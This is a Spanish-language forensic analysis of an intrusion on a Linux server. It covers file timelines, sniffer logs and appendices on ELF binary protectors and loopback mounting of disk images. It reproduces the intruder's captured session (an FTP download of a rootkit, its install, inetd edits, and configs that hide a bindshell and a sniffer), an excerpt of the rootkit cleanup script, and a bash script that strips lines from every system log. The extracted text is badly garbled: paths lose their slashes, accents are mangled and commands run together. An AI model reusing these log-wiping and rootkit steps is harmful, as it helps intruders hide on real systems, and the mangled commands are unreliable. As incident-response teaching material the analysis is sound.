El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

